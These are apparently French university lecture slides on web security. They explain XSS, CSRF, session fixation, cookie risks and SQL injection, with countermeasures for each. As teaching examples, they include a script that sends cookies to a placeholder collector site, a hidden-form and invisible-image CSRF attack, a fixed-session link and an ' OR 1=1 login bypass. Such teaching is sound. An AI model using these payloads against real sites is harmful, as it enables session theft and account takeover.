xavier tannier [email protected] sécurite web

Xavier [email protected]

Sécurite Web

Programmation Web

AccessibilitéXavier Tannier

Généralités

• 80 % des sites contiennent au moins une faille de sécurité

• 24 familles de failles différentes : on ne présente ici que les plus courantes

• Le code source n’est pas forcément la seule cause : un site web est un mélange complexe de plusieurs applications (base de données, code PHP, JavaScript, fichiers de configuration, configuration réseau, SSL, etc.)

2

Programmation Web


Généralités réseau

• Le firewall n’autorise que les communications sur certains ports (par exemple, 80 pour HTTP), sur certains paquets ou pour certaines applications

• … mais il faut quand même ouvrir le réseau pour pouvoir communiquer, ce qui reste une source de failles

• Crypter les transactions par le protocole TLS (anciennement SSL), pour protéger : token de session, mot de passe, cookies, etc.

• Attaques de type Deny-of-Service (DOS) : prévoir des délais et les seuils, ex. 5 minutes d’attente après 3 échecs d’identification

3

Programmation Web


Généralités code

• Tout code mort, commentaire, fichier inutile, donne des indices sur l’architecture du site et sont une source de vulnérabilité

• Moins on en dit, mieux c’est : par exemple il vaut mieux utiliser POST (qui néanmoins ne procure aucune sécurité) que GET qui permet de voir et modifier les paramètres directement dans l’URL

• Toutes les données reçues de l’extérieur peuvent être dangereuses et doivent toujours être validées

4

Programmation Web


XSS : cross site scripting

ExempleFormulaire GET qui transmet le paramètre namehttp://www.monsite.com/index.php?name=Le%20pirate

Résultat de la requête:<html>

<title>Hello!</title>Coucou Le pirate<br />Bienvenue chez nous !...

</html>

(affiche le nom de l’utilisateur)

5

http://www.monsite.com/index.php?name=Le%20pirate

Programmation Web



Que se passe-t-il si on tape l’URL:http://www.monsite.com/index.php?name=<script>alert(document.cookie)</script>

Résultat:<html>

<title>Hello!</title>Coucou <script>alert(document.cookie)</script><br>Bienvenue chez nous !...

</html>

Affiche une fenêtre contenant les cookies de l’utilisateur !Une attaque réelle va voler les cookies :http://www.monsite.com/index.php?name=<script>window.open("http://www.voldecookie.com/collect.php?cookie="%2Bdocument.cookie)</script

>

6

http://www.monsite.com/index.php?name=%3Cscript%3Ealert(document.cookie)%3C/script

http://www.monsite.com/index.php?name=%3Cscript%3Ewindow.open(%22http://www.voldecookie.com/collect.php?cookie=%22+document.cookie)%3C/script


Programmation Web



• Que se passe-t-il si on utilise POST à la place de GET dans l’exemple précédent ? A-t-on enfin un site sécurisé?

7

On peut créer une page simulant le formulaire

Site attaqué

Site pirate

Formulaire

on peut envoyer les valeurs que l’on veut

Formulaire modifié

envoi de données sécurisées

Programmation Web



• Exemple: www.sitepirate.com/....php<form name="myform" method="POST" action="http://www.monsite.com/index.php">

<input type="hidden" name="name" value="

<script>window.open("http://www.voldecookie.com/collect.php?cookie="%2Bdocument.cookie)</script> "></form>

• Envoie une requête HTTP avec les paramètres que l’on veut (ici le script qui vole les cookies).

• Ni GET ni POST n’offrent la moindre sécurité. • POST ne permet que de rendre l’attaque un peu moins triviale.• Il faut dans tous les cas vérifier les données reçues.

8




Programmation Web


XSS : solutions

• Ne pas utiliser javascript (bof…)

• Retirer toutes les balises ou les caractères <>• Utiliser htmlspecialchars(), strip_tags(), htmlentities()… ou HTML

Tidy

• Toujours vérifier les données venant de l’utilisateur– Si vous attendez un nombre, n'acceptez rien d'autre– Si vous voulez du texte, rejetez les balises– etc.

9

Programmation Web


CRSF : cross site request forgeries

• L’administrateur de sitevictime.com visite sitepirate.com contenant l’image suivante de taille nulle (donc invisible)

<img src="http://www.sitevictime.com/index.php?action=deluser&userid=58" alt="" width="0" height="0" />

• La tentative d’afficher l’image exécute la page indiquée dans le src, avec l’identification de l’administrateur et supprime un utilisateur à l’insu de l’administrateur (s'il a gardé sa session ouverte).

• Il existe des versions encore plus sophistiquées et moins détectables.

10

Programmation Web


CRSF : solutions

• Utiliser le referer qui indique la page de provenance et permet de vérifier qu’une requête vient depuis de votre site et pas d’ailleurs (comme un site pirate).Problème : c’est un champ envoyé par le client donc on peut le falsifier facilement…

• Utiliser un système de jeton unique et généré aléatoirement par la page du formulaire, transmis par un champ hidden et $_SESSION, dont on vérifie l’existence sur la page cible.Si on ne vient pas de la page du formulaire, ça bloque.

11

Programmation Web


CRSF : solutions

12

<?php $token = md5(uniqid(rand(), TRUE)); $_SESSION['token'] = $token; $_SESSION['token_time'] = time(); ?>

<form action="delete.php" method="post"> <input type="hidden" name="token" value="<?php echo $token; ?>" /> MemberId: <input type="text" name="memberid" /> <input type="submit" value="delete it" /> </form>

<?php if ($_POST['token'] == $_SESSION['token'] && time() - $_SESSION['token_time'] <= 300) { // Action valide }?>

Programmation Web


Sessions

• Les sessions reposent uniquement sur un identifiant : une série de 32 chiffres et lettres aléatoires

• Transmis soit directement soit dans l’URL (en GET) ou un champ hidden (en POST) – technique trans-sid - , soit par un cookie

Exemple de trans-sid:http://unsite.com/unepage.php?phpsessid=d10v5fg8r7g42901v4g87r1ds4on54f3

• Voler l’identifiant peut permettre de se faire passer pour un autre !

13

Programmation Web


Sessions

• Le referer contient l’adresse de provenance : un identifiant passé en GET par A peut être récupéré par B en allant d’un site A vers un site B.

• On peut aussi envoyer un utilisateur sur un lien avec un PHPSESSID fixé que l’on aura choisi au préalable :

http://jesuisunsite.com/login.php?PHPSESSID=1234

L’utilisateur utilisera la session 1234 : on peut se faire passer pour lui puisqu’on a choisi son PHPSESSID.

Ne pas utiliser trans-sid (désactiver dans php.ini).Utiliser session_regenerate_id().

14

http://jesuisunsite.com/login.php?PHPSESSID=1234

Programmation Web


Cookies

• Simple fichier texte sur la machine du client, que l’on peut modifier à sa guise.

• Un cookie peut aussi être volé par diverses méthodes (XSS…).

• Ne jamais les stocker en clair, surtout les mots de passe. Même un stockage crypté est insuffisant, éviter d’y stocker des données sensibles.

• Utiliser un système de "délogin" qui efface le cookie et un identifiant de session généré aléatoirement et utilisable une seule fois.

15

Programmation Web


Injection SQL

16

• On se connecte en entrant le mot de passe suivant:$password = ' OR 1=1SELECT uid WHERE name = 'Dupont' AND password = ' $password'

SELECT uid WHERE name = 'Dupont' AND password = ' ' OR 1=1 toujours vrai !

• On peut se connecter comme Dupont sans connaître le password.

Solution : mysql_real_escape_string()Échappe les caractères interprétés par SQL. Toujours l’utiliser avant de

passer un paramètre à une requête SQL.

Programmation Web


Peut-on identifier un utilisateur par l’IP?

• Adresse IP du clientSe trouve dans l’entête des paquets IP qu’il envoie (voir cours réseau).

Le client peut forger facilement une entête avec une fausse adresse IP source ou usurper une identité : IP-spoofing.

17

Programmation Web


Conclusion

• Panorama loin d’être exhaustif.

• Toujours vérifier les données venant de l’extérieur, en qui a priori, on ne peut avoir aucune confiance.

18

xavier tannier [email protected] sécurite web

Documents